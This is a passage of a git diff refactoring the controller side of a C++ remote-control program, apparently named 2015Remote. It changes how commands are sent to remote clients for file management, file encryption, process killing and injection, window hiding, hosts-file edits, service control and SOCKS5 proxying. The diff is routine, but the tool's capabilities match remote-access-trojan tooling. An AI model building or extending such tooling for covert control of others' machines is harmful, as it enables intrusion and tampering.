         memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR));
         memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR),
                strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR));
-        m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
+        m_ContextObject->Send2Client(lpBuffer, nPacketSize);
         LocalFree(lpBuffer);
     }
     *pResult = 1;
@@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete()
 {
     BYTE	bBuff;
     bBuff = COMMAND_FILE_NO_ENFORCE;
-    m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
+    m_ContextObject->Send2Client(&bBuff, sizeof(bBuff));
     OnRemoteDelete();
 }
 
@@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce()
 {
     BYTE	bBuff;
     bBuff = COMMAND_FILE_ENFOCE;
-    m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
+    m_ContextObject->Send2Client(&bBuff, sizeof(bBuff));
     OnRemoteDelete();
 }
 
@@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
     lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
     lpPacket[1] = m_bUseAdmin;
     memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
     lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
     lpPacket[1] = m_bUseAdmin;
     memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo()
     LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
     lpPacket[0] = COMMAND_FILE_INFO;
     memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption()
     lpPacket[0] = COMMAND_FILE_Encryption;
 
     memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt()
     lpPacket[0] = COMMAND_FILE_Decrypt;
 
     memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile()
     lpPacket[0] = COMMAND_FILE_CopyFile;
 
     memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
     ShowMessage(_T("准备粘贴"));
 }
@@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile()
     LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
     lpPacket[0] = COMMAND_FILE_PasteFile;
     memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip()
     lpPacket[0] = COMMAND_FILE_zip;
 
     memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 
     ShowMessage(_T("开始压缩，不要关闭窗口，其他操作继续"));
@@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip()
 void CFileManagerDlg::OnRemotezipstop()
 {
     BYTE	lpPacket = COMMAND_FILE_zip_stop;
-    m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1);
+    m_ContextObject->Send2Client(&lpPacket, 1);
 }
 
 void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
@@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
         BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1];
         lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST;
         memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH));
-        m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
+        m_ContextObject->Send2Client((LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
         SAFE_DELETE_AR(lpbuffer);
         SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE);
     }
@@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress()
     LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
     lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
     memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress()
     LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
     lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
     memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
-    m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
+    m_ContextObject->Send2Client(lpPacket, nPacketLength);
     LocalFree(lpPacket);
 }
 
@@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch()
     LPBYTE	lpBuffer = new BYTE[nPacketSize];
     lpBuffer[0] = COMMAND_SEARCH_FILE;
     memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket));
-    m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
+    m_ContextObject->Send2Client(lpBuffer, nPacketSize);
     SAFE_DELETE_AR(lpBuffer);
     // 设置按钮状态
     m_BtnSearch.SetWindowText(_T("正在搜索..."));
@@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop()
     GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE);
     // TODO: Add your command handler code here
     BYTE  bToken = COMMAND_FILES_SEARCH_STOP;
-    m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+    m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
 }
 
 //显示搜索结果
diff --git a/server/2015Remote/proxy/ProxyConnectServer.cpp b/server/2015Remote/proxy/ProxyConnectServer.cpp
index d1a41a0..933af88 100644
--- a/server/2015Remote/proxy/ProxyConnectServer.cpp
+++ b/server/2015Remote/proxy/ProxyConnectServer.cpp
@@ -61,7 +61,7 @@ EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnI
     if (pContext == NULL)
         return HR_ERROR;
     
-    pContext->InitMember(dwConnID);
+    pContext->InitMember(dwConnID, nullptr);
     pContext->m_Socket = dwConnID;
     char szAddress[64] = {};
     int iAddressLen = sizeof(szAddress);
diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp
index a61c4d4..87c4f95 100644
--- a/server/2015Remote/proxy/ProxyMapDlg.cpp
+++ b/server/2015Remote/proxy/ProxyMapDlg.cpp
@@ -114,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                 BYTE lpData[5] = "";
                 lpData[0] = COMMAND_PROXY_CLOSE;
                 memcpy(lpData + 1, &index, sizeof(DWORD));
-                g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5);
+                g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
             }
             wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index);
             break;
@@ -122,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
             break;
         case NC_RECEIVE:
             if (pContext->m_bProxyConnected == 2) {
-                g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
+                g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
                                                 pContext->InDeCompressedBuffer.GetBufferLength());
                 wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
             } else if (pContext->m_bProxyConnected == 0) {
@@ -139,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                         buf[0] = COMMAND_PROXY_CONNECT; // 1个字节 ip v4 连接
                         memcpy(buf + 1, &index, 4);		 // 四个字节 套接字的编号
                         memcpy(buf + 5, lpData + 4, 6);	 // 4字节ip 2字节端口
-                        g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
+                        g_pProxyMap->m_ContextObject->Send2Client(buf, sizeof(buf));
                         in_addr inaddr = {};
                         inaddr.s_addr = *(DWORD*)(buf + 5);
                         char szmsg1[MAX_PATH];
@@ -152,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                         memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
                         memcpy(HostName + 1, &index, 4);
                         memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
-                        g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
+                        g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
                         SAFE_DELETE_ARRAY(HostName);
                         wsprintf(szMsg, _T("域名 连接 %d \r\n"), index);
                     } else if (lpData[3] == 4) { //ipv6
diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp
index d4dd620..9fc0f1a 100644
--- a/server/2015Remote/sys/MachineDlg.cpp
+++ b/server/2015Remote/sys/MachineDlg.cpp
@@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog()
 
     AdjustList();
     BYTE lpBuffer = COMMAND_MACHINE_PROCESS;
-    m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1);
+    m_ContextObject->Send2Client((LPBYTE)&lpBuffer, 1);
 
     return TRUE;
 }
@@ -333,7 +333,7 @@ void CMachineDlg::reflush()
     int nID = m_tab.GetCurSel();
     DeleteList();
     BYTE TOKEN = MachineManager(nID);
-    m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1);
+    m_ContextObject->Send2Client((LPBYTE)&TOKEN, 1);
 }
 
 
@@ -769,8 +769,6 @@ void CMachineDlg::OpenInfoDlg()
         return;
 
     CServiceInfoDlg pDlg(this);
-
-    pDlg.m_iocpServer = m_iocpServer;
     pDlg.m_ContextObject = m_ContextObject;
 
     pDlg.m_ServiceInfo.strSerName = m_list.GetItemText(nItem, 6);
@@ -800,7 +798,7 @@ void CMachineDlg::SendToken(BYTE bToken)
     lpBuffer[0] = bToken;
 
     memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char));
-    m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
+    m_ContextObject->Send2Client(lpBuffer, nPacketLength);
     LocalFree(lpBuffer);
 }
 
@@ -878,7 +876,7 @@ void CMachineDlg::ShowProcessList_menu()
             lpBuffer[0] = COMMAND_PROCESS_KILLDEL;
             DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -891,7 +889,7 @@ void CMachineDlg::ShowProcessList_menu()
             lpBuffer[0] = COMMAND_PROCESS_KILL;
             DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -904,7 +902,7 @@ void CMachineDlg::ShowProcessList_menu()
             lpBuffer[0] = COMMAND_PROCESS_FREEZING;
             DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -917,7 +915,7 @@ void CMachineDlg::ShowProcessList_menu()
             lpBuffer[0] = COMMAND_PROCESS_THAW;
             DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -930,7 +928,7 @@ void CMachineDlg::ShowProcessList_menu()
             lpBuffer[0] = COMMAND_PROCESS_DEL;
             DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -967,7 +965,7 @@ void CMachineDlg::ShowProcessList_menu()
                 DWORD wr = 0;
                 ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL);
                 CloseHandle(hFile);
-                m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize);
+                m_ContextObject->Send2Client(lpBuffer, allsize);
                 SAFE_DELETE_AR(lpBuffer);
             }
             SAFE_DELETE(p_InjectData);
@@ -1041,7 +1039,7 @@ void CMachineDlg::ShowWindowsList_menu()
             memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
             DWORD dHow = SW_RESTORE;
             memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+            m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
         }
     }
     break;
@@ -1056,7 +1054,7 @@ void CMachineDlg::ShowWindowsList_menu()
             memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
             DWORD dHow = SW_HIDE;
             memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+            m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
         }
     }
     break;
@@ -1070,7 +1068,7 @@ void CMachineDlg::ShowWindowsList_menu()
             DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1));
             m_list.SetItemText(nItem, 3, _T("发送关闭命令"));
             memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+            m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
         }
     }
     break;
@@ -1085,7 +1083,7 @@ void CMachineDlg::ShowWindowsList_menu()
             memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
             DWORD dHow = SW_MAXIMIZE;
             memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+            m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
         }
     }
     break;
@@ -1100,7 +1098,7 @@ void CMachineDlg::ShowWindowsList_menu()
             memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
             DWORD dHow = SW_MINIMIZE;
             memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+            m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
         }
     }
     break;
@@ -1114,7 +1112,7 @@ void CMachineDlg::ShowWindowsList_menu()
             pid = m_list.GetItemText(nItem, 0);
             DWORD	dwProcessID = _tstoi(pid);
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -1129,7 +1127,7 @@ void CMachineDlg::ShowWindowsList_menu()
             pid = m_list.GetItemText(nItem, 0);
             DWORD	dwProcessID = _tstoi(pid);
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -1144,7 +1142,7 @@ void CMachineDlg::ShowWindowsList_menu()
             pid = m_list.GetItemText(nItem, 0);
             DWORD	dwProcessID = _tstoi(pid);
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -1201,7 +1199,7 @@ void CMachineDlg::ShowNetStateList_menu()
             lpBuffer[0] = COMMAND_PROCESS_KILL;
             DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
             memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
-            m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
+            m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
             SAFE_DELETE_AR(lpBuffer);
         }
     }
@@ -1270,7 +1268,7 @@ void CMachineDlg::ShowSoftWareList_menu()
                 LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()];
                 lpBuffer[0] = COMMAND_APPUNINSTALL;
                 memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength());
-                m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
+                m_ContextObject->Send2Client(lpBuffer, str_a.GetLength() + 1);
                 SAFE_DELETE_AR(lpBuffer);
             }
         }
@@ -1366,7 +1364,7 @@ void CMachineDlg::ShowTaskList_menu()
         memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
         offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
 
-        m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
+        m_ContextObject->Send2Client(lpBuffer, nPacketLength);
 
         LocalFree(lpBuffer);
     }
@@ -1394,7 +1392,7 @@ void CMachineDlg::ShowTaskList_menu()
         memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
         offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
 
-        m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
+        m_ContextObject->Send2Client(lpBuffer, nPacketLength);
 
         LocalFree(lpBuffer);
     }
@@ -1422,7 +1420,7 @@ void CMachineDlg::ShowTaskList_menu()
         memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
         offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
 
-        m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
+        m_ContextObject->Send2Client(lpBuffer, nPacketLength);
 
         LocalFree(lpBuffer);
     }
@@ -1454,7 +1452,7 @@ void CMachineDlg::ShowTaskList_menu()
 
                 memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2);
                 offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2;
-                m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len);
+                m_ContextObject->Send2Client(lpBuffer, len);
 
                 LocalFree(lpBuffer);
             }
@@ -1465,7 +1463,7 @@ void CMachineDlg::ShowTaskList_menu()
     break;
     case 104: {
         BYTE bToken = COMMAND_MACHINE_TASK;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
+        m_ContextObject->Send2Client(&bToken, 1);
     }
     break;
     }
@@ -1560,7 +1558,7 @@ void CMachineDlg::ShowServiceList_menu()
             bToken = COMMAND_SERVICE_LIST_WIN32;
         else
             bToken = COMMAND_SERVICE_LIST_DRIVER;
-        m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
+        m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
     }
     break;
     case 700:
@@ -1630,7 +1628,7 @@ void CMachineDlg::ShowHostsList_menu()
         LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()];
         lpBuffer[0] = COMMAND_HOSTS_SET;
         memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength());
-        m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
+        m_ContextObject->Send2Client(lpBuffer, Data_a.GetLength() + 1);
         SAFE_DELETE_AR(lpBuffer);
     }
     break;
diff --git a/server/2015Remote/sys/ServiceInfoDlg.cpp b/server/2015Remote/sys/ServiceInfoDlg.cpp
index 4156035..feede4d 100644
--- a/server/2015Remote/sys/ServiceInfoDlg.cpp
+++ b/server/2015Remote/sys/ServiceInfoDlg.cpp
@@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken)
     lpBuffer[0] = bToken;
 
     memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
-    m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
+    m_ContextObject->Send2Client(lpBuffer, nPacketLength);
     LocalFree(lpBuffer);
 }
 
diff --git a/server/2015Remote/sys/ServiceInfoDlg.h b/server/2015Remote/sys/ServiceInfoDlg.h
index f738281..1b65dfa 100644
--- a/server/2015Remote/sys/ServiceInfoDlg.h
+++ b/server/2015Remote/sys/ServiceInfoDlg.h
@@ -19,7 +19,6 @@ public:
     CServiceInfoDlg(CWnd* pParent = NULL);
 
 	ClientContext* m_ContextObject;
-    Server* m_iocpServer;
 
     enum { IDD = IDD_SERVICE_INFO };
     CComboBox	m_combox_runway;